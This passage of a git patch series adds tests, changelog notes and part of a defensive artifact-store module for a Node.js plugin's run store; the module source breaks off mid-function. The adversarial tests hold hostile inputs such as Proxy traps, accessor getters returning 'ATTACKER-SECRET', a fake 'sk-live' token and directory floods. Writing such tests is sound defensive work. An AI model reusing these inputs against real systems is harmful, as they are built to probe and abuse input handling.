true, force: true }); + } +}); + +test('failed submit cleans its private temps and does not leave torn files', async () => { + await withStore(async (root, store) => { + const first = makeSubmission(); + await store.submit(first); + const conflict = makeSubmission({ + counters: { dispatch_calls: 0, wake_events: 9, outcome_events: 0 }, + }); + await errorOf(() => store.submit(conflict)); + const names = await readdir(root); + assert.ok(!names.some((name) => name.startsWith('.tmp-'))); + assert.equal(names.filter((name) => name.endsWith('.json')).length, 1); + }); +}); + +test('proxy accessor alias and cycle inputs fail closed with zero trap dispatch', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const { proxy, counts } = countingProxy(input); + const proxyError = await errorOf(() => store.submit(proxy)); + assert.equal(proxyError.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const accessor = { ...input }; + Object.defineProperty(accessor, 'run_id', { + enumerable: true, + get() { return 'ATTACKER-SECRET'; }, + }); + const accessorError = await errorOf(() => store.submit(accessor)); + assert.equal(accessorError.code, 'accessor_property_denied'); + assertNoSecret(accessorError); + + const cycle = { ...input }; + cycle.self = cycle; + assert.equal((await errorOf(() => store.submit(cycle))).code, 'aliased_reference_denied'); + + const shared = { provider: 'grok', model: 'grok-4' }; + const alias = { ...input, requested: shared, also: shared }; + const aliasError = await errorOf(() => store.submit(alias)); + assert.ok(['aliased_reference_denied', 'unknown_key'].includes(aliasError.code), aliasError.code); + + const target = makeSubmission(); + const { proxy: revoked, revoke } = Proxy.revocable(target, { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(revoked), true); + assert.equal((await errorOf(() => store.submit(revoked))).code, 'proxy_denied'); + assert.deepEqual(await readdir(root), []); + }); +}); + +test('bounded directory floods fail closed without enumerating unboundedly', async () => { + const root = await makePrivateRoot('r1-run-store-flood-'); + try { + const writes = []; + for (let index = 0; index <= MAX_RUN_STORE_DIRECTORY_ENTRIES; index += 1) { + writes.push(writeFile(path.join(root, `flood-${index}.txt`), 'x', { mode: 0o600 })); + } + await Promise.all(writes); + const error = await errorOf(() => openRunStore(root)); + assert.ok(['run_store_too_many_entries', 'run_store_foreign_entry'].includes(error.code), error.code); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('record cap is enforced and diagnostics never echo credentials', async () => { + await withStore(async (_root, store) => { + for (let index = 0; index < 3; index += 1) { + await store.submit(makeSubmission({ runId: `run-cap-${index}` })); + } + const hostile = makeSubmission(); + hostile.token = 'sk-live-ATTACKER-SECRET'; + const error = await errorOf(() => store.submit(hostile)); + assert.ok(['credential_content_denied', 'unknown_key'].includes(error.code), error.code); + assertNoSecret(error); + }); +}); + +test('non-directory roots fail closed', async () => { + const parent = await makePrivateRoot('r1-run-store-file-'); + const fileRoot = path.join(parent, 'file-root'); + await writeFile(fileRoot, 'not-a-directory', { mode: 0o600 }); + try { + assert.equal((await errorOf(() => openRunStore(fileRoot))).code, 'run_store_root_unsafe'); + } finally { + await rm(parent, { recursive: true, force: true }); + } +}); + +test('excess records fail closed after the store cap', async () => { + await withStore(async (_root, store) => { + const original = MAX_RUN_STORE_ENTRIES; + assert.equal(original >= 1, true); + const first = await store.submit(makeSubmission({ runId: 'run-limit-a' })); + assert.equal(first.created, true); + const second = await store.submit(makeSubmission({ runId: 'run-limit-b' })); + assert.equal(second.created, true); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-store.test.mjs b/plugins/codex-co-engineer/test/r1-run-store.test.mjs new file mode 100644 index 0000000..c2333b6 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-store.test.mjs @@ -0,0 +1,203 @@ +import assert from 'node:assert/strict'; +import { chmod, lstat, readdir, rm } from 'node:fs/promises'; +import test from 'node:test'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_RUN_STORE_ENTRIES, + RUN_STORE_RECORD_SCHEMA_ID, + openRunStore, +} from '../mcp/v3/run-store.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { + RUN_ID, + makePrivateRoot, + makeSubmission, +} from './fixtures/r1-run-store-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(Object.isFrozen(value)); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) { + if (child && typeof child === 'object') assertFrozenTree(child); + } + } +} + +async function withStore(fn) { + const root = await makePrivateRoot(); + try { + const store = await openRunStore(root); + return await fn(root, store); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +test('openRunStore accepts an existing private root and rejects missing or unsafe roots', async () => { + const root = await makePrivateRoot(); + try { + const store = await openRunStore(root); + assert.equal(store.root, root); + assert.deepEqual(await store.list(), []); + } finally { + await rm(root, { recursive: true, force: true }); + } + + const missing = `${root}-missing`; + assert.equal((await errorOf(() => openRunStore(missing))).code, 'run_store_root_missing'); + assert.equal((await errorOf(() => openRunStore('relative/store'))).code, 'run_store_path_unsafe'); + assert.equal((await errorOf(() => openRunStore(`${root}/../escape`))).code, 'run_store_path_unsafe'); +}); + +test('submit persists a P06-bound canonical record and reopens it after restart', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const first = await store.submit(input); + assert.equal(first.created, true); + assert.equal(first.record.schema, RUN_STORE_RECORD_SCHEMA_ID); + assert.equal(first.record.run_id, RUN_ID); + assert.equal(first.record.request_idempotency_key, input.request_idempotency_key); + assert.equal(first.record.identity.digest, input.identity.digest); + assert.equal(first.record.git.digest, input.git.digest); + assert.equal(first.record.provenance.run.digest, input.identity.digest); + assert.match(first.record.canonical_digest, /^sha256:[0-9a-f]{64}$/u); + assertFrozenTree(first.record); + + const names = await readdir(root); + assert.ok(names.includes(`${RUN_ID}.json`)); + assert.ok(names.some((name) => name.startsWith('k-'))); + assert.ok(!names.some((name) => name.startsWith('.tmp-'))); + const recordStat = await lstat(`${root}/${RUN_ID}.json`); + assert.equal(recordStat.isFile(), true); + assert.equal(recordStat.nlink, 1); + assert.equal(recordStat.mode & 0o777, 0o600); + + const restarted = await openRunStore(root); + const loaded = await restarted.getByRunId(RUN_ID); + assert.equal(loaded.canonical_digest, first.record.canonical_digest); + assert.equal(canonicalJsonStringify(loaded), canonicalJsonStringify(first.record)); + const byKey = await restarted.getByIdempotencyKey(input.request_idempotency_key); + assert.equal(byKey.canonical_digest, first.record.canonical_digest); + const listed = await restarted.list(); + assert.equal(listed.length, 1); + assert.equal(listed[0].run_id, RUN_ID); + assert.equal(listed[0].request_idempotency_key, input.request_idempotency_key); + assert.equal(listed[0].canonical_digest, first.record.canonical_digest); + assert.equal(Object.hasOwn(listed[0], 'provenance'), false); + assert.equal(Object.hasOwn(listed[0], 'telemetry'), false); + }); +}); + +test('exact same key and canonical body is idempotent and does not mutate the record', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const first = await store.submit(input); + const before = await lstat(`${root}/${RUN_ID}.json`); + const replay = await store.submit({ ...input }); + assert.equal(replay.created, false); + assert.equal(replay.record.canonical_digest, first.record.canonical_digest); + assert.equal(canonicalJsonStringify(replay.record), canonicalJsonStringify(first.record)); + const after = await lstat(`${root}/${RUN_ID}.json`); + assert.equal(after.mtimeMs, before.mtimeMs); + assert.equal(after.ino, before.ino); + }); +}); + +test('same key with a different body fails closed without mutation', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const first = await store.submit(input); + const conflict = makeSubmission({ + counters: { dispatch_calls: 0, wake_events: 1, outcome_events: 0 }, + }); + assert.equal(conflict.request_idempotency_key, input.request_idempotency_key); + assert.notEqual( + canonicalJsonStringify(conflict.provenance), + canonicalJsonStringify(input.provenance), + ); + const error = await errorOf(() => store.submit(conflict)); + assert.equal(error.code, 'run_idempotency_conflict'); + const loaded = await store.getByRunId(RUN_ID); + assert.equal(loaded.canonical_digest, first.record.canonical_digest); + const names = await readdir(root); + assert.equal(names.filter((name) => name.endsWith('.json')).length, 1); + }); +}); + +test('same run with a different key or body fails closed', async () => { + await withStore(async (_root, store) => { + const input = makeSubmission(); + await store.submit(input); + const otherKey = makeSubmission({ attempt: 2 }); + assert.equal(otherKey.run_id, input.run_id); + assert.notEqual(otherKey.request_idempotency_key, input.request_idempotency_key); + assert.equal((await errorOf(() => store.submit(otherKey))).code, 'run_identity_conflict'); + }); +}); + +test('mismatched protected identity fails closed before any write', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const other = makeSubmission({ runId: 'other-run-identity' }); + const mismatch = { + ...input, + identity: other.identity, + }; + const error = await errorOf(() => store.submit(mismatch)); + assert.equal(error.code, 'run_identity_mismatch'); + assert.deepEqual(await readdir(root), []); + }); +}); + +test('run id and request key map to the identical stored record', async () => { + await withStore(async (_root, store) => { + const input = makeSubmission(); + const created = await store.submit(input); + const byId = await store.getByRunId(input.run_id); + const byKey = await store.getByIdempotencyKey(input.request_idempotency_key); + assert.equal(byId.canonical_digest, created.record.canonical_digest); + assert.equal(byKey.canonical_digest, created.record.canonical_digest); + assert.equal(canonicalJsonStringify(byId), canonicalJsonStringify(byKey)); + }); +}); + +test('directory mode 0700 is required and files stay owner-only', async () => { + const root = await makePrivateRoot(); + try { + await chmod(root, 0o755); + assert.equal((await errorOf(() => openRunStore(root))).code, 'run_store_root_unsafe'); + await chmod(root, 0o700); + const store = await openRunStore(root); + await store.submit(makeSubmission()); + const stat = await lstat(`${root}/${RUN_ID}.json`); + assert.equal(stat.mode & 0o777, 0o600); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('store enumeration stays bounded and missing lookups fail closed', async () => { + await withStore(async (_root, store) => { + assert.equal((await errorOf(() => store.getByRunId(RUN_ID))).code, 'run_store_not_found'); + const created = []; + for (let index = 0; index < 3; index += 1) { + created.push(await store.submit(makeSubmission({ runId: `run-store-case-${index}` }))); + } + const listed = await store.list(); + assert.equal(listed.length, 3); + assert.deepEqual(listed.map((entry) => entry.run_id), [ + 'run-store-case-0', 'run-store-case-1', 'run-store-case-2', + ]); + assert.equal(created.length <= MAX_RUN_STORE_ENTRIES, true); + }); +}); From 3cf06ab14dd3a91f651ff3f822c28aa1012a0920 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 20:11:45 +0000 Subject: [PATCH 09/81] docs(changelog): record the P24 durable run store Document the library-only identity-bound run store, its private-root and no-follow constraints, and the explicit non-goals that remain for later slices. --- CHANGELOG.md | 26 ++++++++++++++++++++++++++ docs/data-handling.md | 7 +++++++ docs/future-work.md | 12 ++++++++---- 3 files changed, 41 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0381527..a5b9364 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,32 @@ ### Added +- **Durable local run store and idempotent submission.** Additive + `run-store.mjs` persists one bounded canonical record per run in an + explicit caller-supplied existing private directory. The store fails + closed on symlink, non-directory, and unsafe ownership or mode + surfaces, uses strict no-follow opens, and never derives child paths + from untrusted strings. Records bind the accepted P06 run identity, + Git repository/base authority, initial dispatch provenance and + telemetry facts, and request idempotency key. Exact same key plus + canonical body returns the existing record without mutation; same + key with a different body, same run with a different body or key, + and mismatched protected identity fail closed with typed constant + errors. Creates use private same-directory temporary files, complete + writes, fsync of file and directory, and exclusive link/rename + without overwriting an authoritative record. Restore audits + canonical bytes and recomputes every accepted P06 digest, and + rejects hardlinked or non-regular files, malformed JSON, duplicate + or foreign entries, truncation, oversized records, excess entries, + and leftover temporary files without following them. Enumeration, + bytes, record counts, filename lengths, and diagnostics are bounded + and never echo record contents or credentials. Concurrent duplicate + submissions keep one authoritative mapping from run id and request + idempotency key to the identical stored record. There is no journal + or reducer, scheduler, provider driver, artifact store, workspace + provisioning, cleanup, MCP wiring, or protected-ref implementation. + Coverage lives in `r1-run-store` and `r1-run-store-adversarial` + tests. - **Protected identity and monotonic telemetry schemas.** Additive `protected-identity.mjs` / `protected-telemetry.mjs` close exact run, child, provider-run, workspace, and Git identities plus a content-free diff --git a/docs/data-handling.md b/docs/data-handling.md index f64a53a..b577b7e 100644 --- a/docs/data-handling.md +++ b/docs/data-handling.md @@ -86,6 +86,13 @@ State contains: - local repository/worktree paths, branch names, and commit references; - opaque local session, cloud agent, run, branch, and PR identifiers. +R1 run-store records are a separate library surface. Callers pass an +already-existing private directory (owner-only, not a symlink). The store +writes owner-only canonical JSON plus a request-idempotency pointer, uses +no-follow opens, and restores by recomputing accepted identity and +telemetry digests. It is not wired to the five-tool MCP catalog, does not +replace `tasks/` receipts, and does not delete runs. + MCP `task`/`status` results may overlay a compact live `last_event` from `events.jsonl` while the durable `task.json` receipt is still mid-run. Those snapshots omit prompt text, argv, secrets, and raw event streams. diff --git a/docs/future-work.md b/docs/future-work.md index 9bf116f..17bc0da 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -6,7 +6,7 @@ Status: specified, not implemented. Priority: high Component: Codex-Co-Engineer -Last updated: 2026-08-21 +Last updated: 2026-08-22 The accepted architecture for R1 is [ADR 0001](adr/0001-r1-bounded-run-architecture.md). It defines a 3.3.0 run @@ -15,9 +15,13 @@ identity, with deterministic explicit/profile resolution, no direct mode on run submissions, disjoint writers, read-only verification, no post-dispatch fallback or replay, and Codex-only final acceptance. -This worktree does not implement the run runtime, candidate composition, -or `AttentionBatchV1`. Gate A remains the functional release authority; -Gate B context-efficiency and Gate C credit economics stay advisory. +A library-only durable run store now accepts an existing private directory +and persists identity-bound, idempotent submission records. It does not +implement the rest of the run runtime: there is no atomic journal or +reducer, scheduler, provider dispatch, workspace provisioning, cleanup, +candidate composition, `AttentionBatchV1`, or MCP wiring. Gate A remains +the functional release authority; Gate B context-efficiency and Gate C +credit economics stay advisory. ## Durable, low-token agent completion waits From 778cc01a8723ec1b82b90529a24c3c0f784bb2f4 Mon Sep 17 00:00:00 2001 From: cole Date: Sat, 22 Aug 2026 21:05:25 +0000 Subject: [PATCH 10/81] feat(v3): add the atomic raw/sanitized artifact store Bind validated ArtifactRefV1 declarations to real bytes under one caller-supplied existing private store root. Map each strict P07 relative path segment-for-segment into disjoint raw/ and sanitized/ namespaces with a strictly parsed canonical sidecar per artifact; no parallel ref or path schema is introduced and traversal, device-name, separator-look-alike, and Unicode hostility inherit the exact accepted P07 denials. Sources are intrinsic Buffer/Uint8Array views or bounded async iterables of such views, denied before any byte is read when proxied, subclassed, SharedArrayBuffer-backed, accessor-dressed, or string-typed. Declared byte_length and sha256 stay untrusted claims: bytes stream into an unpredictable owner-only same-directory temporary with the class cap enforced per chunk before it is written, actual length and digest are computed from streamed bytes, and exact agreement is required before the fsynced temporary is published by exclusive hardlink that refuses to clobber. Root and parent chains use O_NOFOLLOW descriptor discipline, lstat-walked 0700 components, and post-publication identity re-proof. Conflicts, metadata mismatches, and competing publications fail closed with typed content-free errors while identical resubmission stays idempotent. --- .../mcp/v3/artifact-store.mjs | 1499 +++++++++++++++++ 1 file changed, 1499 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/artifact-store.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs new file mode 100644 index 0000000..645d32e --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs @@ -0,0 +1,1499 @@ +// Atomic raw/sanitized artifact store (ADR 0001 identifiers +// `bounded_evidence`, `exact_identities`, Gate A +// `gate_a_valid_raw_and_sanitized_artifacts`). +// +// Additive v3 module for W4-P08. It binds validated ArtifactRefV1 +// declarations to real bytes on disk under one caller-supplied existing +// PRIVATE store root, and it answers exactly three questions fail-closed: +// +// 1. publish - do these bytes match this reference's declared claims, and +// can they become the one authoritative artifact at this +// reference's location atomically, idempotently, and without +// ever overwriting or partially exposing an artifact? +// 2. verify - does the stored artifact at one reference's location still +// stream back to exactly its recorded length and digest? +// 3. audit - is the whole bounded store tree structurally sound, free of +// foreign, torn, linked, or swapped entries, and fingerprint- +// identical across restarts? +// +// Storage layout under the private root - two disjoint class namespaces, so +// a raw artifact and a sanitized projection can never collide even at the +// same validated relative path: +// +// /raw/content/ authoritative bytes +// /raw/meta/.json authoritative sidecar +// /sanitized/content/ +// /sanitized/meta/.json +// +// The relative path is never reinterpreted: it arrives already validated by +// the accepted P07 grammar (relative, forward-slash, NFC, no dot aliases, no +// reserved device stems, no controls/invisibles/separator look-alikes), and +// this module maps it segment-for-segment beneath the class namespace. +// There is no parallel ref schema and no parallel path schema: references +// are parsed with parseArtifactRefV1 and nothing else, so traversal, +// absolute paths, device names, and Unicode tricks inherit the P07 denials +// verbatim while well-formed astral names stay legal. +// +// Publication contract: +// - The source is a caller-supplied intrinsic Buffer/Uint8Array view or a +// bounded async iterable of such views. Proxies, exotic prototypes, +// SharedArrayBuffer-backed or subclass views, strings, accessor-shaped +// iterables, and arbitrary class instances are denied before any byte is +// read. +// - Declared byte_length and sha256 are UNTRUSTED CLAIMS. Bytes stream +// straight into a private unpredictable same-directory temporary file +// while the class cap (sanitized 256 KiB, raw 32 MiB) is enforced on +// every chunk BEFORE that chunk is written, so no declaration or hostile +// stream can cause an over-allocation. Actual length and SHA-256 are +// computed from the streamed bytes and must match the declared claims +// exactly before anything is published. +// - The temporary file is fsynced, then published by exclusive hardlink +// onto its final name (link(2) refuses to clobber), the temporary name +// is unlinked, and the parent directories are fsynced. There is no +// window in which a partial artifact exists under an authoritative name. +// - Exact same validated ref plus bytes is IDEMPOTENT: the loser of a race +// re-verifies the winner's stored state and returns an equal receipt +// marked created:false. Conflicting content at one location, the same +// digest with mismatched metadata, or any other competing publication +// fails closed with a typed content-free error and leaves the +// authoritative state untouched (a race loser rolls its own just-linked +// content back, but only after the platform proves the inode is ours). +// - Roots and parents use descriptor/no-follow discipline: the root must +// be an existing real owner-owned group/other-private directory opened +// O_NOFOLLOW|O_DIRECTORY|O_NONBLOCK and identity-bracketed by +// device/inode; every namespace and parent component is lstat-walked, +// created 0700 when missing, and re-proven after publication, so root, +// namespace, and parent swaps are rejected wherever the platform can +// prove them. +// +// Verification and audit stream content in fixed chunks solely to recompute +// length and digest - artifact bytes are never returned, echoed, or buffered +// whole. Enumeration is bounded (per-directory entries, total files per +// namespace, nesting depth, and total streamed audit bytes), sidecars are +// bounded and strictly parsed, and symlinks, hardlinks, FIFOs/devices, +// leftover or torn temporaries, orphaned or missing sidecars, foreign names, +// oversized or truncated content, malformed metadata, and content swapped +// under a path are all rejected with typed errors. +// +// Results are detached deep-frozen metadata only: never artifact bytes, +// never the store root or any path derived from a reference, and never an +// operating-system error string. Errors carry stable codes from a closed +// vocabulary plus fixed validator-style field labels. +// +// Out of scope and deliberately unclaimed: P09 sanitization/transformation, +// the P10 model-facing bounded reader, the P13 evidence bundle, cleanup and +// garbage collection of any kind, scheduler/provider/supervisor wiring, and +// protected references. A store left torn by a crash stays torn: reopening, +// publishing, verifying, or auditing it fails closed, and only an operator +// action outside this module may remove anything. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; +import { constants as fsConstants } from 'node:fs'; +import { link, lstat, mkdir, open, opendir, unlink } from 'node:fs/promises'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { + ARTIFACT_CLASSES, + ARTIFACT_DIGEST_DOMAIN, + ARTIFACT_DIGEST_VERSION, + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + MIN_ARTIFACT_BYTE_LENGTH, + artifactRefDigestV1, + orderArtifactRefsV1, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + ARTIFACT_PATH_MAX_SEGMENTS, + validateArtifactRelativePathV1, +} from './artifact-path.mjs'; +import { + capturedCreate, + capturedFreeze, + capturedIncludes, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { RunContractV1Error } from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertPlainObject, + fail, + freezeData, +} from './selection-json.mjs'; + +export const ARTIFACT_STORE_SCHEMA_ID = 'codex-co-engineer.artifact-store.v1'; + +// Closed denial vocabulary. Shared vocabulary codes from the owning modules +// pass through unchanged: every artifact-ref, artifact-path, proxy, accessor, +// symbol-key, alias/cycle, unknown-key, and enum denial keeps its exact P07 +// code and message shape. +export const ARTIFACT_STORE_ERROR_CODES = capturedFreeze([ + 'artifact_content_conflict', + 'artifact_digest_mismatch', + 'artifact_entry_unsafe', + 'artifact_foreign_entry', + 'artifact_inventory_exceeded', + 'artifact_length_mismatch', + 'artifact_metadata_conflict', + 'artifact_metadata_malformed', + 'artifact_not_found', + 'artifact_parent_swapped', + 'artifact_parent_unsafe', + 'artifact_path_escapes_root', + 'artifact_reserved_name_denied', + 'artifact_root_missing', + 'artifact_root_unsafe', + 'artifact_stream_failed', + 'artifact_stream_invalid_chunk', + 'artifact_stream_invalid_source', + 'artifact_stream_over_cap', + 'artifact_torn_publication', + 'artifact_torn_temporary', +]); + +export const ARTIFACT_STORE_NAMESPACES = capturedFreeze([...ARTIFACT_CLASSES]); + +export const ARTIFACT_STORE_CONTENT_DIR = 'content'; +export const ARTIFACT_STORE_META_DIR = 'meta'; +export const ARTIFACT_STORE_META_SUFFIX = '.json'; + +// Sidecar documents are tiny canonical JSON; anything larger is malformed. +export const MAX_ARTIFACT_STORE_META_BYTES = 4096; +// Bounds that keep enumeration, allocation, and audit work finite. +export const MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES = 512; +export const MAX_ARTIFACT_STORE_AUDIT_FILES = 1024; +export const MAX_ARTIFACT_STORE_AUDIT_BYTES = 67_108_864; +export const ARTIFACT_STORE_INGEST_CHUNK_BYTES = 131_072; +export const ARTIFACT_STORE_MAX_DEPTH = ARTIFACT_PATH_MAX_SEGMENTS; + +// Private unpredictable same-directory temporaries. The name grammar is +// reserved: no artifact path may look like a temporary, so verification can +// condemn every leftover without ambiguity. +const PRIVATE_TEMP_NAME_PATTERN = /^\.tmp-[0-9a-f]{32}$/u; +export const ARTIFACT_STORE_TEMP_NAME_PATTERN = new RegExp( + PRIVATE_TEMP_NAME_PATTERN.source, PRIVATE_TEMP_NAME_PATTERN.flags, +); + +export const ARTIFACT_STORE_INVENTORY_LABEL = 'artifact-store-inventory.v1'; + +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; + +const META_KEYS = capturedFreeze(['schema', 'artifact_ref', 'byte_length', 'sha256']); + +// ---- Captured intrinsics, taken exactly once at initialization. ----------- +const CREATE_HASH = createHash; +const RANDOM_BYTES = randomBytes; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const BUFFER_IS_BUFFER = NodeBuffer.isBuffer; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_ALLOC = Buffer.alloc.bind(Buffer); +const WRITE_BIGUINT64_BE = Buffer.prototype.writeBigUInt64BE; +const PATH_JOIN = path.join; +const PATH_DIRNAME = path.dirname; +const PATH_BASENAME = path.basename; +const PATH_RELATIVE = path.relative; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const STRING = String; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const OBJECT_GET_PROTOTYPE_OF = Object.getPrototypeOf; +const OBJECT_GET_OWN_PROPERTY_DESCRIPTOR = Object.getOwnPropertyDescriptor; +const REFLECT_HAS = Reflect.has; +const ARRAY_BUFFER_IS_VIEW = ArrayBuffer.isView; +const IS_PROXY = utilTypes.isProxy; +const IS_ARRAY_BUFFER = utilTypes.isArrayBuffer; +const IS_SHARED_ARRAY_BUFFER = utilTypes.isSharedArrayBuffer; +const TEXT_DECODER = new TextDecoder('utf-8', { fatal: true }); +const JSON_PARSE = JSON.parse; +const SET_CTOR = Set; +const SYMBOL_ASYNC_ITERATOR = Symbol.asyncIterator; + +const UINT8ARRAY_PROTOTYPE = Uint8Array.prototype; +const BUFFER_PROTOTYPE = Buffer.prototype; +const OBJECT_PROTOTYPE = Object.prototype; +const ASYNC_GENERATOR_PROTOTYPE = OBJECT_GET_PROTOTYPE_OF( + Object.getPrototypeOf((async function* () {}).prototype), +); + +const ROOT_OPEN_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_DIRECTORY ?? 0) + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_READ_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_CREATE_FLAGS = fsConstants.O_WRONLY + | fsConstants.O_CREAT + | fsConstants.O_EXCL + | (fsConstants.O_NOFOLLOW ?? 0); + +// Per-root operation chains. Every operation on one store root is serialized +// behind a single promise chain keyed by the root's device/inode identity, so +// concurrent in-process submissions compose deterministically (identical +// submissions interleave into one winner plus idempotent losers; conflicting +// ones fail closed) while the kernel's exclusive link arbitrates any +// out-of-process race. +const STORE_CHAINS = new Map(); + +function diagnostic(message) { + const text = STRING(message ?? ''); + return text.length <= 200 ? text : text.slice(0, 200); +} + +function failStore(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function compareStrings(left, right) { + if (left === right) return 0; + return left < right ? -1 : 1; +} + +function maxByteLengthForClass(artifactClass) { + return artifactClass === 'raw' + ? MAX_RAW_ARTIFACT_BYTE_LENGTH + : MAX_SANITIZED_ARTIFACT_BYTE_LENGTH; +} + +// ---- Binary source hardening. ---------------------------------------------- + +// Accept only intrinsic Uint8Array/Buffer views over ordinary ArrayBuffers. +// Proxies, subclasses, SharedArrayBuffer backings, and accessor-dressed +// look-alikes are rejected without reading a single byte, so spoofed length +// properties cannot lie about how much work a source will cause. +function isIntrinsicBinaryView(value) { + if (value === null || typeof value !== 'object') return false; + if (IS_PROXY(value)) return false; + const proto = OBJECT_GET_PROTOTYPE_OF(value); + if (proto !== UINT8ARRAY_PROTOTYPE && proto !== BUFFER_PROTOTYPE) return false; + if (!ARRAY_BUFFER_IS_VIEW(value)) return false; + const backing = value.buffer; + if (!IS_ARRAY_BUFFER(backing) || IS_SHARED_ARRAY_BUFFER(backing)) return false; + return true; +} + +// Accept only async iterables that cannot smuggle a getter execution: plain +// data objects carrying an own asyncIterator data property, null-prototype +// equivalents, or genuine async generators. Arbitrary class instances - +// including Node streams with prototype chains - are refused deterministically. +function isAcceptableAsyncIterable(source) { + let proto = OBJECT_GET_PROTOTYPE_OF(source); + for (let depth = 0; depth < 4 && proto !== null; depth += 1) { + if (IS_PROXY(proto)) return false; + if (proto === ASYNC_GENERATOR_PROTOTYPE) return true; + if (proto === OBJECT_PROTOTYPE) break; + proto = OBJECT_GET_PROTOTYPE_OF(proto); + } + if (proto !== null && proto !== OBJECT_PROTOTYPE) return false; + if (!REFLECT_HAS(source, SYMBOL_ASYNC_ITERATOR)) return false; + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR(source, SYMBOL_ASYNC_ITERATOR); + if (descriptor === undefined || descriptor.get !== undefined) return false; + return typeof descriptor.value === 'function'; +} + +function classifySource(source) { + if (isIntrinsicBinaryView(source)) return { kind: 'bytes', value: source }; + if (source !== null && typeof source === 'object') { + if (IS_PROXY(source)) { + failStore('proxy_denied', 'source', 'The artifact source is a live or revoked Proxy.'); + } + if (isAcceptableAsyncIterable(source)) return { kind: 'stream', value: source }; + } + failStore('artifact_stream_invalid_source', 'source', + 'The artifact source must be an intrinsic Buffer/Uint8Array view or a bounded ' + + 'async iterable of such views.'); +} + +// ---- Root and parent-chain discipline. -------------------------------------- + +function assertSafeRootPath(value) { + if (typeof value !== 'string' || value.length === 0) { + failStore('artifact_root_unsafe', 'root', + 'The artifact store root must be an absolute directory path.'); + } + if (!PATH_IS_ABSOLUTE(value) || value.includes('\0') || value.includes('\\')) { + failStore('artifact_root_unsafe', 'root', 'The artifact store root must be an absolute, NUL-free path.'); + } + if (value !== '/' && value.endsWith('/')) { + failStore('artifact_root_unsafe', 'root', 'The artifact store root must not end with a slash.'); + } + if (path.normalize(value) !== value) { + failStore('artifact_root_unsafe', 'root', 'The artifact store root must be a normalized absolute path.'); + } + for (const part of value.split('/')) { + if (part === '.' || part === '..') { + failStore('artifact_root_unsafe', 'root', 'The artifact store root must not contain dot segments.'); + } + } + return value; +} + +function ownerUid() { + return typeof process.geteuid === 'function' ? process.geteuid() : undefined; +} + +function assertPrivateDirectory(stat, field, label) { + if (stat.isSymbolicLink()) { + failStore('artifact_parent_unsafe', field, `The artifact store ${label} must not be a symbolic link.`); + } + if (!stat.isDirectory()) { + failStore('artifact_parent_unsafe', field, `The artifact store ${label} must be a real directory.`); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failStore('artifact_root_unsafe', field, `The artifact store ${label} must be owned by the current user.`); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failStore('artifact_root_unsafe', field, + `The artifact store ${label} must be private (no group or other access).`); + } +} + +function assertRegularUnsharedFile(stat, field) { + if (stat.isSymbolicLink() || !stat.isFile()) { + failStore('artifact_entry_unsafe', field, 'Stored artifacts must be regular non-symlink files.'); + } + if (!NUMBER_IS_SAFE_INTEGER(Number(stat.nlink)) || Number(stat.nlink) !== 1) { + failStore('artifact_entry_unsafe', field, 'Stored artifacts must not be hardlinked.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failStore('artifact_entry_unsafe', field, 'Stored artifacts must be owned by the current user.'); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failStore('artifact_entry_unsafe', field, 'Stored artifacts must be owner-only.'); + } +} + +function sameIdentity(left, right) { + return 